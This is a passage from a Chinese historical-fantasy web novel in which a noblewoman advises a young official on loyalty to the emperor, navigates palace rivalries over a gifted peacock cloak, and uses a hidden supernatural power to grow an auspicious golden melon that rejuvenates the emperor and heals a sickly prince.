上去就开打,一路就是追着压着室韦和靺鞨打,根本就没能给他们一个反应的机会。 打完了人家,上去把人家御寒的衣物都给自家人用了,之后再接着打,再接着收缴。 总之,这就是一场单方面的碾压。 谢铮的先锋军是八月底到的室韦边上,而靺鞨的降书是腊月初送来的。 事实上,听说十一月的时候,靺鞨王就想递降书,但是许翰没给他这个机会,开口就骂他们不配,直接让人打。 要不是有许翰这么一路压着打,估计靺鞨的降书提前一个月就递到陛下的御案上了。 当然,也是因为这一通打,把这两个小国的人都打服了。 以后百年内,都不敢再生出任何不臣之心了。 为啥? 许翰带的大军太猛了。 由始至终,真正的有经验的老将都没上战场,全是七八个小将一路在打前锋呀。 说出来都吓人,满眼全是泪! 不管怎么说,仗已经打完了,许翰这功劳是妥妥地定在那里,谁也抢不走。 但是回京,暂时不行。 许翰这边还要配合朝廷派来的人辅助管理呢。 而且都护府,也要留下部分兵马才行。 朝廷这边拿到许州的新地图后,又重新划分出来十几个县,然后开始在朝中选拔官员。 这么一忙活,就到了年根儿底下。 许昭昭得知陛下将那边赐名为许州时,便知道父亲真正的荣光终于来了。 这么多年,父亲为了避嫌,为了儿女,他一直都在掩盖着自己的锋芒。 这一次,他直接就打出了武将的气势,放眼整个大兴,谁打仗的速度还能有他快? 而且战损也是最小的。 就这个本事,不服不行。 但是许昭昭也能料到,父亲回京后会做何安排。 其实父亲原本对于权势就没有什么欲望,只要能守着老婆孩子一起过日子,这就能满足了。 许昭昭知道,父亲不会在兵部担任任何职务。 既然如此,不如就想法子给自己的大哥? 许昭昭觉得可行,但是需要运作一番。 “禀主子,七姑娘和七姑爷来送年礼了,如今正在外候着。” “他们在一起?” “是。” “都请进来吧。” 许昭昭第一眼就看到了李顺身后的一位少年郎,个子不算太高,但是长的很清秀。 “嫂嫂,这是我给两位小侄儿做的小衣裳,还请嫂嫂不要嫌弃。” 成婚了,谢娟的气质有了些许变化,而且从言行体态上看,更稳重了些。 见她气色不错,许昭昭便微微点头,看来李顺不曾委屈她。 “有劳七妹妹了。来人,带七妹妹去见见宋姨娘,让她们好好说说话。” “谢过嫂嫂。” 谢娟一脸惊喜,她回来的目的之一,便是想与姨娘见一面。 人一走,许昭昭的气势明显有了变化。 李顺吓得不敢再坐,屁.股刚抬起来,又被许昭昭一句话给砸了回去。 第426章 第一条,就是要忠于陛下 “李主簿,听闻如今朝中正在调派大批官员前往许州,你们国子监,是否也有人要外调?” 李顺尽量让自己的声调听起来平静:“回县主,国子监中的确是有数人接到了吏部的调派公文。” “所以,这是个机会呀。” 李顺没敢接茬。 机会? 什么机会? 是让他外调的机会,还是借此机会在国子监站稳脚跟? 不管是哪一样,李顺都觉得自己没有那个本事。 “回禀县主,这朝中官员调动一事,下官也只能是听命而行。不过,下官也有自知之明,若是外调至许州,下官不是那块料,年纪轻,也压不住事。而国子监内部晋升,下官才学浅薄,也难以服众。” 许昭昭有几分意外地挑一下眉梢,没想到这人竟然还挺有自知之明呀! 不错,能知道自己的短板在哪里,这人还有救,而且也能用。 “李主簿果然是一个通透之人。你还年轻,能在现有位置上将事情做好,机会自然不会少的。” 这算是变相地提点吗? 李顺连忙拱手:“县主教训的是。” 许昭昭笑笑,然后看向一旁的李二郎。 “你便是李家二郎?” “小民李明见过安乐县主。” “礼数倒是很好,今年多大了?” “回县主,小民今年十四。” 许昭昭点头:“年纪还是太小了。若是有机会,还是当多读书,人的脑子想要转得快,眼睛想要看得远,耳朵想要听得懂,那就得多读书!” 李明立马作揖道:“谢县主训话,兄长也是这么说的。只是小民一直觉得自己脑子愚笨,不是读书的料子。家中父亲早逝,小民也不愿意让兄长太过劳累,所以想早日从书院离开,也好能帮兄长分担一二。” 有这个心思是好的。 只是,李家又没到了需要他辍学赚钱的地步,所以实在是没必要。 “小小年纪,倒是心思细腻。我且问你,你觉得自己脑子愚笨可是真话?” 李明一脸苦笑:“不敢欺瞒县主,小民的确是脑子蠢笨了一些,唯有这算学还勉强合格,其它科目,实在是有损师长们的颜面。” 李顺闻言,立马看向他:“怎会如此?” 李明无奈摇头:“兄长,我也不想这样的,但是县主面前,实在不敢撒谎。当初能过了童生试,已然觉得是占了几分运气的。可后面的秀才,愚弟实在是没有把握。” 许昭昭笑了:“你才十四,急什么呢?便是再等个三五年才中秀才,那也是划算的呀!” 李明一噎,这话不知道怎么回了。 李顺则是点头附和:“县主所言极是,你才十四,急什么?今年没有把握,那我们就明年再下场。明年过不了,咱们也只当是积累个经验便好,你又何必有负担?” 李明脸都要皱成苦瓜了。 他是真地不想读书。 但是有一点兄长没说错,若是能有一介功名在身,日后的路,则会好走得多。 许昭昭提醒一句:“李明,我可以在这里承诺你,只要你能得中秀才,我便可以为你安排一份差事。” 李顺心里扑通扑通跳得飞快。 县主口中所说的差事,绝对不是什么打理产业的奴仆管事。 李顺想到之前县主曾为谢氏一位族兄谋得一个从八品的差事,并且就在国子监。 由此可见,县主的能量之大,的确是他无以想见的。 “还不快谢谢县主!” 李明反应慢了一瞬,连忙对着许昭昭一揖到底:“小民谢过县主。” 又说了几句话之后,许昭昭身边的一位嬷嬷便将李明先一步引至院内了。 当然,厅堂内并非只有许昭昭和李顺,而且门户敞着,也是为了避嫌。 “李主簿,明人不说暗话,我看过某些上官对你的品评,你以为,你最擅长之事,是为何?” 李顺一时间犹豫,好一会儿才道:“回县主,要说志向,下官自然也是有的。年少时,也曾希望自己能成为一方主官,为百姓谋福祉,为朝廷扬威名。只是真地到了做事之时,下官才意识到,自己的确是才学浅薄,且无经验可循。” 许昭昭点头:“言之有理呀。所以,我的意思是,先别急。还是先在这个位置上再待一待,多看、多听、多做、少说。” 李顺频频点头:“您说的是。” “七妹夫,如今既然你成了谢家的女婿,那么,往后你的仕途,我谢家自然是要多看顾。但无论是我,还是谢家,做事的第一点,就是先要忠于陛下,你能明白吗?” 李顺一愣,显然是没听太懂。 忠于陛下,这不是应该的吗? 许昭昭见他一脸疑惑,又道:“听清楚了,忠于大兴,忠于陛下,这是最基本的一点。我说的,你可明白?” 李顺还是没说话。 许昭昭轻笑一声,顺手从一侧的架子上取下来一个茶壶,之后又从里面取出来了三个小杯子,一个大杯子。 “杯子就是杯子,再大,也只是杯子,可品茶,却不可替代茶壶的地位。” 这一次,李顺听懂了。 这是说要忠于陛下,而非忠于皇室,这是有本质的区别的。 不可以投靠任何的皇子势力,一切都以陛下的意志为准。 这就是妥妥的保皇派! “下官明白了,下官誓死效忠陛下,效忠大兴!” 有这个态度,许昭昭就放心很多。 “陛下圣明,向来知人善用。你记住,我大兴能多一个许州,自然就能再多三个、五个、十个!我大兴军队所到之处,必然所向披靡,战无不胜!我大兴的强大,不仅仅体现于武力,更是我大兴的文化兴盛。所以,武将为我大兴开疆扩土,你觉得最终,是否还是需要你这样的文人来治理呢?” 李顺俯首作揖:“下官受教了。” “记住,日后再看问题时,将自己的位置摆高一些,眼光放长远一些,但是平时为人处事时,要将自己的位置摆低一些。” 李顺眼睛亮了亮,若有所思道:“高调做事,低调做人?” 第427章 信国公和孔雀氅 许昭昭对这个李顺还算是满意,不是那等迂腐之人,日后有什么事安排到他头上,不至于太费劲。 这样就挺好。 许昭昭最不耐烦的,就是那种过于执拗之人,真到了关键时,叽叽歪歪太麻烦。 李顺来送节礼,自然是要好好招待的。 许昭昭以身体不适为由没有出席,但是在男席这边,她特意命人按高标准准备的。 原本于氏安排的规格就不低,再有许昭昭这么一吩咐,这席面自然是更体面了。 席面规格的高低,自然就能显现出主家对于客人的看重与否。 李明看到兄长在国公府并未被轻视,心底一暖,对这位嫂嫂也更为敬重了。 仗基本上就算是打完了,接下来就是等着各方面的交接,然后就是大军的凯旋。 谢婵的心情有些复杂。 一方面,她知道这次打仗,郑拓又立功了,回来后就算是不封爵位,兴许也能升个一官半职。 而她也担忧,打仗打的就是人命呀! 还未成亲,她便已经开始担心上了。 郑拓也一直借用谢铮写家书的渠道给她写信。 前前后后,至今写了六封。 每一封都是报平安,而且后面几封信里,还问她更喜欢红宝石还是绿宝石。 不用说,这肯定是捞到一批战利品了。 也就是郑拓没经验。 你看看谢铮,人家从来就不问这种问题,直接就是各色宝石往家里搂,媳妇看上哪个就留哪个,看不上的就卖掉或者是送人。 而且,你郑拓和谢婵如今只是未婚夫妻,这种问题,你让人家小姑娘家家的怎么答? 郑拓在许州被谢铮嘲笑一通之后,忿忿离去。 要不是因为打不过他,说什么也得跟他单挑! 好像也不行,那是自己的大舅哥,得敬着才行,要不然,一直拖着不让他成亲,就能让他跪地求饶。 许昭昭早就派人在离许州大约五十里外的地方候着了。 一车接一车的战利品被商队带回来,当然,所有人都以为这是商队带回业的货物,谁能想到是谢铮和许翰私底下扣的好东西呀! 对于这种事情,许翰和谢铮都不是头一次做了,而且许翰在陛下面前也从无遮掩。 这一点,其实也算是陛下默许了。 知道这许木头疼媳妇疼闺女,所以在这方面一直都是睁只眼闭只眼。 而且相比起他们带回来的战利品而言,这些个珠宝皮草的,就实在不算什么了。 许翰也不傻,就算是自己弄点儿好东西,也一定不能越过陛下去,最好的珠宝,一定要留着面呈陛下,最威武的皮子,那也得上供给陛下。 也正是因为他一直很懂得这其中的分寸,所以陛下对他和谢家一直很放心。 如果真地是公正无私,一点儿也不贪,又会打仗,还能带兵,一点儿缺点都没有,这等的将军,陛下也不敢重用。 反倒是谢啸林和许翰这样的,我贪财就摆在明面儿上,我让你知道,但是我不越线,我绝对不会挑衅属于帝王的威严,如此一来,陛下反而觉得此人可用。 有弱点,日后才好拿捏。 有缺点,不完美,这样的人,就不会得到所有人的拥护,那么于声望上,陛下自然就没有太多的戒备了。 总之,带兵打仗,也不能一点儿不懂人情世故。 而且像许翰这样的,从来就是爱躲懒的性子,人没回京城呢,就已经开始琢磨着得歇几个月不上朝了。 谢铮虽然比许翰强一些,但是近来也因为娶妻了,所以时常想着少干活,多赋闲。 有些事不能想,一想,永安帝就头疼。 年前,因为许翰和谢铮翁婿二人立下大功,所以陛下赏赐的旨意就先下来了。 陛下是个大方的帝王,有功赏得多,有过罚得也狠。 许翰被晋为信国公,侯世子许君安被晋为国公世子…… 因为许翰的一个爵位,许家所有人的身份都跟着水涨船高。 许昭昭这个出嫁女倒是沾光最少的一个了。 本来许昭昭也不差这么一层身份,但是现在娘家地位更高,她自然也就更有底气了而已。 谢铮都是国公府世子爷了,日后就是国公爷,所以他得的赏赐并非是爵位,而是一些金银珠宝,另外又赐了一些奴仆下来。 所有人都清楚,谢铮回来后估计就是要升官职的,但是具体升到什么职位,那就不得而知了。 除此之外,陛下还特意给许昭昭送来了大量的补品,皇后甚至将一件孔雀氅直接赏给了许昭昭。 这件孔雀氅原为贡物,因其做工繁琐且用料考究,所以几年才得了一件。 据闻这是以孔雀初生细羽,再捻以天蚕细丝,之后再交织而成,中间还要再引入极细的赤金细丝,才能达到成衣后光彩夺目的效果。 据闻此衣在阳光上,五彩斑澜,霞光四射,从头到尾,都透着贵气奢靡,非凡人所能驾驭,故而,此衣制成之后,才会进献于陛下。 天下仅此一件,永安帝再宠爱姜贵妃,也不可能打皇后的脸面,所以此衣就被赏赐给了皇后。 起初永安帝还安慰姜贵妃,说是等第二件制成时,再赏给她。 只是没料到,种种原因交错,两年来,再未有第二件孔雀氅制成,听闻至少还要再等三年,才能再有一件成衣。 也因此,这孔雀氅的价值也被人们夸大再夸大,俨然已是世间最尊贵无比的代表了。 许昭昭得此孔雀氅,非但没有特别高兴,反而还有几分怒火。 皇后,这分明就是让她彻底地和姜贵妃对立! 宫中人人皆知姜贵妃中意此物,可是偏偏只此一件,陛下顾虑天家颜面,故而只得给了皇后。 如今,皇后又将此物赏赐于她,不管那些话说的多漂亮,但事实就是,姜贵妃怕是要对她恨之入骨了! 而且此物奢靡,若是普通宴会,她焉能穿着此物招摇? 岂非令人笑掉大牙? 可若是宫宴,她真穿着此物入宫,怕不是要被姜贵妃给手撕了! 啧,这个曲皇后,赏赐一件她无论是在何等场合穿都不合适的东西,在外人看来价值连城,可是于她而言,却是分文不值,且还是个祸头子! 第428章 福星?祥瑞? 但许昭昭还得谢恩,还得表示对皇后的尊敬和感激,要不然,那就是妥妥的不知好歹! 许昭昭咬了一下后槽牙,很好,这个闷亏她暂时吃下了,咱们来日方长! 有你曲家求到我面前的时候! 不得不说,许昭昭是真被气着了。 直到腹部传来不适,她才调动了异能安抚,总算是不难受了。 于嬷嬷注意到许昭昭额头上的汗,以及微微变化的脸色,连忙关切道:“主子可是身体不适?可要请太医?” 许昭昭深吸一口气,摇摇头,示意嬷嬷莫要声张。 “不是什么大事,应该是刚刚孩子们在肚子里打架,踢疼我了。” 于氏和老夫人原本听于嬷嬷的话正有些担心,现在许昭昭一出声,她们便明白了。 “怀着一胎都辛苦,更何况你这还是双胎!已经谢过恩了,你快回去歇着。” 各种赏赐都已经搬到了锦绣园,谢啸林这个国公爷不发话,所有的东西便都是谢铮和许昭昭的。 小林氏倒是瞧着眼酸,但也知道没有她说话的份儿。 但是她老远就瞧见了那一匹匹的丝帛,暗自琢磨着,有机会定然要跟老夫人念叨几句,反正锦绣园也不缺这些东西。 许昭昭如今可以说是风光无限,即便是她不出门,外面关于她的各种传言也是越来越多。 传得最多的,便指她是福星,以前在娘家时,便旺父兄,如今成婚了,不仅旺父兄,还旺夫君。 总之,大有把许昭昭给吹成天女下凡的架势。 这个走向不对! 许昭昭很快就意识到这背后是有人在推波助澜。 这是想要把自己推成祸国妖女的架势。 别看现在吹捧自己是福星,可后面一旦不受控了,那传言的味道就会变。 比如说,这般厉害的福星,理当成为皇家之妇。 再比如说,身为福星,却未曾入宫伴驾,理当杀之。 …… 事情一旦有了这个风向,就很再刹住车了。 若是换了旁人想到此处,定然会面色大变,惊惧不已。 但许昭昭是谁呀? 她可不怕这些阴谋诡计! 在她面前玩儿这个舆论战? 呵呵,那是找死! 没人知道,次日许昭昭就和许君霆一起去了一趟皇庄,当时说的就是关于一些粮种以及新的菜种等栽培问题。 待许昭昭离开之后,许君霆就命人将几处专门用来试种的田地都看管起来。 之后,他便神神在在地开始做自己的事,不急不缓,一直到用过晚膳,他才到园子里转一转。 这种事情,时有发生,所以这里的下人们都已经习惯了,主要就是怕耽误了许大人培育新粮种,那可是造福千秋万代的大事,出不得一丁点差错。 次日一早,永安帝正在召集众臣开朝会,其实,最多的便是商议如何封赏一事。 “陛下,开国县男许君霆大人在外求见,面色焦急,似有大事发生。” “宣!” 许君霆几乎是一路小跑着进来的,一到位置便匆匆一揖:“陛下,微臣今早在皇庄中发现一物,但不敢擅自作主,今早便去请教了国子监的祭酒大人,这才得知,园中所生之物,形似甪(lù)端,微臣以为是祥瑞,但此物长于园中,颜色是臣前所未见过的金色,还请陛下圣裁!” 永安帝听得一惊,上半身前倾,表情有些失控:“你说形似何物?” “回陛下,形似甪(lù)端,正是传闻中的祥瑞之兽。” 这话别说是永安帝,其它大臣们听了都是一脸懵。 这是什么时候的事? 怎么可能会有此物? 如果他们没记错的话,这甪端不应该是绝迹了吗? 哦,不对,许君霆说的是一种植物,结出来的果子长的像甪端。 永安帝哪里还能坐得住,立马让人安排,前往皇庄。 君臣浩浩荡荡地去了,果然,发现其中有一片地被围得里三层外三层的,生怕有人再不长眼地踩错一根草。 “陛下,您请看,正是这里。” 除了永安帝,其它几个有资格近前的重臣也都是不可思议地看着眼前这一幕。 只见原本是种甜瓜的藤蔓上,竟然结出一颗异形的果子。 而且,其它都是白绿相间,唯有这一颗是金色的。 众人仔细观察,发现连结这颗果子的藤蔓,也是渐渐的成金色,越靠近这颗异形甜瓜的位置,就越是更像金色。 永安帝是明君,可不是那种好唬弄的。 很快,便有人上前来检查。 很快,被洗了三遍的那颗异形瓜,还是金色纯正地躺在那里,足见并非是被人上的色。 除此之外,这颗瓜明显比其它瓜的个头要大,差不多能抵得上其它两颗了。 “太医署的官员可在?” 两名中年官员近前:“微臣在。” “去查查。” “是,陛下。” 这要怎么查? 他们其实也是一脸懵。 但是陛下下旨了,他们就得上前查看。 这里摸摸,那里敲敲,敲的时候还提心吊胆的,就怕一下子再把这颗瓜给敲裂了,到时候,自己就等着被砍头吧。 二人摸索一番,最终也是无果。 众人正在疑惑要不要将这颗瓜摘下时,永安帝其实想得更多。 甪端是祥瑞之兽,但这只是形似,而且是一颗瓜,所以这是上天的启示? 正在众人犹豫不决之际,只见那颗金瓜,不对,应该说是甪端瓜,竟然自己晃动几下,然后带着自己的瓜蔓,逃离大片的瓜藤,径直朝着永安帝的位置滚过来。 待这瓜到了永安帝脚边,紧挨着其龙袍之后,便又安然不动。 这一异象,可以说是惊呆了众人。 这可真的是众目睽睽之下,这一颗瓜自己动的手呀! 谁也没碰它,它自己就脱离了瓜田,然后滚至陛下御足前,这还不足以说明什么吗? 曲世绩和崔玄明二人对视一眼,立马长揖:“陛下圣明,天佑大兴!” 其它臣子们也都反应过来,紧跟着揖首:“陛下圣明,天佑大兴!” 整个皇庄里,只结了这么一颗果子,而且但凡是看到过对于甪端的描述,或者见过其画像者,都能一眼就确定,此物肖似甪端,且绝无作假的可能! 永安帝扫一眼众人,之后开怀大笑:“好!好!好!” 第429章 福星摘吉瓜 甪端的传说,可以说是相当广泛,据传最早,就是秦始皇为其赐名的。 自秦始皇消灭六国一统天下后,到处收括民间宝物装皇宫。 他喜欢驯养异禽怪兽,在咸阳郊外围地千亩,筑“禽兽园”收罗珍禽异兽。 秦始皇对园官说:“朕想看到世界上独一无二的野兽,你们能捕得吗?” 园官说:“不知其兽为何物,妄不敢言能捕之。” 秦始皇一听,到也说得有理,就说:“那朕命你们用园中之兽杂交,以育出怪怪之兽。” 园官不敢违命:“遵旨。” 之后,“禽兽园”众官忙碌了几年。 有一天,见到一头硕大的野牛临产,竟然生下一对独角怪兽,一雄一雌。 其形怪异,犀角、狮身、龙背、熊爪、鱼鳞、牛尾。 众官大喜,商量该起个名称,再向秦始皇报喜。 秦皇见到这对从未见过的怪兽,甚喜。问:“此兽何名?” 园官忙答:“角端。” 秦始皇问:“何取此名?” 园官解说:“此兽为独角,端生头顶中央,不偏不倚,故名角端。” 秦始皇说:“角端之名尚欠。朕赐它名甪端。可有人明了甪端之意?” 一园官谨小慎微地说:“皇上赐名甪端,意在:角字为七划之字,字头形似双角,指的是双角兽之角;甪字为六划之字,字头形似独角,指的是独角兽之角。皇上改得极好。” 秦始皇大笑:“对也,好聪明之人。”就命他专管繁殖甪端的后代。 自此,世间便有了甪端。 关于甪端的传说有很多,传闻最广的,便是其能日行万八千里、能言、晓四夷之语,并被归入须待“明君圣主”在位方始现身的祥兽、瑞兽,而与周市、符拔、麒麟等共列。 正是因为这么多的传说,所以永安帝如今见一生得与那甪端极其相似之物,自然是格外欢喜。 这是否预示着,上天也在提醒天下臣民们,他是一代明君? “陛下,书有载:甪端日行万八千里,能言,晓四夷之语,明君圣主在位,明达方外幽隐之事,则甪端奉书而来。如今虽未见其真身,但这所幻化之果,亦能说明陛下之贤德圣名。” 众臣子纷纷道喜,“陛下圣明!” 不管怎么说,这总归是一个吉兆。 身为帝王,怎么会不愿意成为千古一帝? 而这个吉兆的出现,似乎就是一个良好的开端。 很快,有人提出来将此瓜摘下,然后再奉于陛下。 但问题是,这如何摘? 摘了之后,陛下是否能入口? 虽然刚刚几位御医都说无事,可谁能保证呢? 毕竟谁也没吃一口呢! 这颗瓜自脱离瓜田之后,并没有与瓜蔓断开,也正是因为如此,所以谁也不敢上前主动将此瓜摘下,万一脱离瓜蔓之后,这瓜再出现其它情况呢? “陛下,先前臣听闻京中有人传谣,说是安乐县主乃天女下凡,只为辅助明君而来。如今又有这吉兆现世,不若请安乐县主过来一试?” 说出这话的,正是姜太傅一派的官员。 而且这话乍一听,也没毛病。 在场大多数人都听说了关于许昭昭是福星的传闻,自然而然也觉得由她来摘瓜或者是试瓜,自然是最好的。 永安帝派人去传安乐县主,一众君臣们则是移驾至空殿。 这瓜虽然大,但是在场的君臣可不少,真若是想要分得一杯羹,可不是那么容易的。 所以,在安乐县主来之前,永安帝就只召了几位重臣至殿内,再之后,又陆续有七八位臣子被引入殿中。 能进来的,都是大兴的肱股之臣,于大兴立有大功,万一此果能食,自然是当与功臣分享。 “陛下,此物若是能食,皇后和几位皇子殿下,也可沾沾福气呀。” 臣子的提议,自然也得到了永安帝的首肯。 直接下旨命皇后带着小皇子过来了。 为何只带小皇子? 因为听闻小皇子体弱,若是此物果有神迹,那当是能为小皇子重塑健康之体才是。 许昭昭早有预料,她先前去皇庄时,做了伪装,只被人当成了侯府的小厮,所以无论谁去查,都查不到许昭昭头上。 现在让她去切瓜,不用想,也知道是什么人提出来的。 许昭昭现在可大着肚子呢,蹲下去都有些费力。 所以几位仆从帮忙,有人扶着她,有人帮忙去扶瓜。 最终,还是许昭昭拿着一把金剪刀将瓜剪了下来。 这等怪模怪样的瓜,原本就是许昭昭用异能喂出来的,只要她想,甚至可以直接让这瓜长成甪端等身的大小。 但为了不太吓人,这样就挺好的。 瓜是摘下来了,之后就是许昭昭亲手抱着往殿内走。 因为许昭昭的腹部已经隆起,所以周围跟着她的人,自然都是小心翼翼,生怕再出什么意外。 许昭昭走的也不快,抱着一颗瓜,气喘吁吁地进殿。 “陛下,臣妇幸不辱命,将此瓜摘下。” 永安帝大喜:“好!快快放下,别累着。” 许昭昭唇角带笑,心中则是暗自腹诽,怕我累着你还让我去摘瓜? 瓜奉于桌上之后,谁来动刀切? 关键是,大家现在也不确定这瓜里面到底是什么样子的呀。 主要是大个头的瓜他们见过,但是长成这等模样,而且还是金色的瓜,他们也是头回见呀。 所以,谁来切? 众人面面相觑,最终这个重任还是落到了许昭昭的身上。 许昭昭对此毫不意外。 谁让近来对于她是福星的谣言越传越猛呢? 原本有臣子提议是由陛下亲手摘瓜,再亲手来切的。 但万一出现异变呢? 比如说陛下一下剪刀,这瓜的颜色变黑了、变绿了、甚至是坏了,这要如何应对? 说到底,都是不想沾麻烦,想着只要让陛下坐享其成就挺好,真出了差错,可以杀几个人泄愤,却不会影响到陛下的贤名。 啧,一帮子老油条! 许昭昭可没有那么多的顾虑,这瓜是靠她的异能长成的,而且关于里面的部分异能走向,也是由她控制,所以,第一块,献于陛下的瓜,自然是修复异能最为充盈的。 第430章 就得让福星来切? 许昭昭将第一块瓜献上,原本还有臣子建议让福星先试,但这回被永安帝给怼回去了。 这地里天生地长出来的瓜,如何投毒? 许昭昭刚刚呈上切好的小碟子瓜,便脸色微变,似乎是站不住了。 “快,扶安乐县主坐下。” 许昭昭坐下之后,额头上竟有大颗的汗珠滚落,这可是寒冬腊月,谁能想到有人生出这么大的汗? 所以,许昭昭刚刚的表现,绝对不是装的。 又有人提议找人试吃,被陛下拒绝了,这是瑞祥之兆,岂能让旁人代食? 所以,陛下痛快地吃下第一口。 入口生津,甜而不腻,最主要的是,永安帝咽下去之后,觉得有一股暖流在自己的肠胃间游走。 于是,永安帝又吃下第二口、第三口…… 许昭昭是将第一块瓜给切成了小块的,要不然,难道让陛下直接啃吗? 一碟子甜瓜,就这样入了帝王之腹。 吃完这一小碟,永安帝觉得自己的手脚都跟着热乎起来了,最主要的是,陛下的变化,肉眼可见。 “陛,陛下,您的头发!” 陛下脸上的皱纹其实并没有减少,但是头发的的确确是全都成了乌黑之色,而且他自己也明显地感觉到,如今体内的力量充沛,宛若是回到了二十岁出头之时。 果然,这就是上天对他这位明君的奖赏吗? 甜瓜虽然比其它的要大,但若是一个成年男子想要独享这一整个,还是有些费力。 尤其是对于注重养生的帝王而言,就更不行了。 永安帝命人又切下来一小片给皇后,但是曲皇后食用之后,却未见任何的效果。 永安帝好奇,干脆自己尝了皇后碟中的一片甜瓜,发现也只是口感一样,并没有先前那股子奇异之感。 难不成,就只有第一片才会有这样的效果? 这不太可能! 永安帝百思不得其解,直到眼神扫到一旁的许昭昭之后,这才再次意动。 “安乐,你如何了?” “回陛下,臣妇已然无恙,多谢陛下关心。” “安乐,这瓜是你摘的,你自己也切一片尝尝吧。” “谢陛下。” 虽然有帝王的旨意,但许昭昭也不敢真地切一大块下来,她没有犹豫,只是切了尚不及皇后那一片瓜厚度的一半,再加工之后,总共碟子也不过薄薄的四五片。 许昭昭当着众人的面便直接吃了。 她这一吃,又有了明显变化。 许昭昭原本有些苍白的脸色明显红润了起来,而且她自己也瞪大眼睛,显然也发现了这瓜的奇异之处。 “这,这瓜?” 许昭昭没有说完,好似是不知该如何形容一般。 永安帝不服气,之后让曲皇后自己再去切一片下来,然后自己和小皇子各尝了一口。 发现竟然还是没有任何的作用,曲皇后自己也吃了,同先前一样。 再然后永安帝自己也切了一片,发现没有半分效果。 所以,这瓜难不成还非得要让这位福星来切? 这个认知,让永安帝有些吃惊,但觉得这是好事,毕竟一个是福星,一个是祥兆。 此时,殿内的其它臣子们自然也注意到这番变化了。 也不知道永安帝是怎么想的,干脆让姜太傅自己也切了一片瓜下来。 可是姜太傅吃完之后,并没有任何变化,只是一直在称赞这瓜很甜。 殿内年纪最大的姜太傅,虽然算不得高寿之人,但绝对是有福之人,年长、位高,体健,这绝对是集齐了所有的最优项。 可是他切下来的瓜,也是一样没有半分效果。 永安帝看看瘦弱的小儿子,直接让许昭昭给小皇子切一片。 小皇子要享用的,自然就要与皇后差不多了。 所以,许昭昭切好之后,这碟子里的瓜片比永安帝第一次吃时,估计就是少个三四片的样子。 小皇子只吃了一口,他就突然瞪大眼睛,然后快速地将口中所有瓜都咽下:“父后,儿臣身上好暖!” 曲皇后也被惊着了。 这么神奇的吗? 永安帝一脸兴奋:“乖儿子,再吃一口。” 小皇子再吃了第二块,他的脸色肉眼可见得红润起来,而且永安帝在去牵他的手时,发现小手竟然是温热的,这可太不可思议了! 要知道小皇子体弱,所以一到了冬天,这手脚冰凉,尤其是到了晚上,非要用好几个汤婆子才能将手脚暖热。 小皇子刚刚的手还是冰的,现在才吃了两口,这手便温热起来了,足见此瓜奇异之处。 “快,都吃了!” 眼见着对小儿子身体有好处,永安帝自然是忙不迭地叫他赶紧吃,之后又命太医过来请脉。 “回禀陛下,小皇子这脉象康健,若无意外的话,应该是与常人无异。只是此瓜效果是否长效,微臣不得而知,若是想要万全,最好还是再辅以药食相补。” “好,好,好!” 永安帝大悦,连道几声好。 能不好吗? 他亲儿子这病,打娘胎里带来的,多少人都治不好,甚至还曾有人预言他活不到弱冠之年。 现在这不是好了吗? 曲皇后也没想到,此瓜竟如此神奇。 但是她自己吃了,却是没有半分好处。 既然是都在,永安帝也非吝啬之人,更何况他深信能一次祥瑞,定然还会再有第二次、第三次。 所以,他可不小气,直接命在场的几位臣子各吃了一小片。 其实,就等于是这么多人分食了这个瓜的六分之一左右。 许昭昭算是除了陛下和小皇子之外,吃的最多的了。 因为陛下又命她切瓜,还再赏她吃了一回。 许昭昭知道这瓜是怎么回事,但是陛下的荣宠,她还是愿意多沾一沾的。 这样也能让所有人都知道,她许昭昭靠后可是有着大兴最强硬的靠山,谁来都不好使! 崔玄明和曲世绩二人吃完瓜后,头上的白发也明显减少,但是显然达不到陛下头发全黑的程度。 可能是因为他们吃的少。 但是他们也都明显感觉到了体内有一股暖流经过,他们的肺腑都得到了极大的滋养。 这就是一种玄妙而不可言的感觉。 姜太傅则是木了脸,这算什么? 第431章 都消失了 顾东阳仔细感受完这种奇异的感觉之后,突然问道:“陛下,这皇庄虽有温泉,但是从未听说过冬日也能结瓜呀?” 他一说话,所有人立马就都反应过来了。 “是呀,这可是严寒冬日,怎么会结出甜瓜来了?” “陛下,除了这枚肖似甪端的瓜之外,余下还结有八个,加在一起,总共是结了个九个瓜。” 九个? 这数挺吉利呀。 “陛下,之前未曾有过此奇闻,这也算是天赐之物了。” 永安帝甚慰:“不错,天赐之物,我大兴的大吉之兆呀!” 余下的八个瓜,永安帝命人好生看护,尽量晚几日再摘。 大家都没人说话,但是都清楚,陛下这指定是给许翰和谢铮等人留的。 其它的甜瓜是否有奇效,那可真说不好。 但是许君霆都已经数过了,总共还有八个,这可不能少。 负责皇庄这边的几位官员也都过来禀报,的确是一件稀罕事。 因为这里有温泉,所以长出绿植来或者是新鲜的蔬菜来,都不算是多新鲜,但是竟然还能结出瓜来,这的确是有些匪夷所思。 但不管怎么样,现在永安帝都真真切切地感受到了好处,自然就对这祥瑞深信不疑! 许昭昭也被陛下下旨,由御林军亲自送回国公府,但是这远远不能表达永安帝对于许昭昭的看重。 许昭昭如今是世子夫人,从命妇的角度来讲,已然不能再封。 但她是安乐县主,这个还可以再争取一下。 所以,永安帝回宫后,直接就命人拟旨,要赐安乐县主为安乐郡主。 永安帝如今满头黑发,而且目光也是炯炯有神,无论是手脚,都感觉有使不完的力气,这种感觉太好了! 他干脆到演武场,连拉几把大弓,再次感受到了自己年轻时的意气风发。 果然,人都愿意年轻力壮。 帝王也不例外。 永安帝想到之前自己喝的那特等金华酒,就对身体有滋补之效,如今只是吃了一片甜瓜,竟然能令他白发变黑,且力气增大,这还不是神迹,何为神迹? 永安帝没有同任何人商议,直接就下了册封安乐县主为郡主的旨意。 这道旨意,可以说是大兴建朝以来,前所未有的。 谁能想到,一个县主,在成婚后,竟然还能再晋封为郡主? 关键是这位县主原本就非皇族,如今这一晋封,这地位俨然已经是超脱于寻常贵妇之列。 许昭昭原本就得圣宠,其父又得陛下信重,如今再次获得晋封,所有人都没弄明白什么情况。 只有那日在殿内的数位大臣们有所猜测,他们是亲眼看着陛下的头发由白变黑,更是亲眼看到了小皇子脸色红润起来,而且手脚生暖。 就算是他们当时没看出什么猫腻来,如今也都想得明明白白。 同样是一个瓜,为何陛下吃第一片时就有那样大的变化,但是再吃别人切的瓜时,便毫无感觉? 而且皇后并未有明显变化,还有姜太傅自己动手切的,也没有变化。 唯有许昭昭动手切的瓜,才有了如此大的能量。 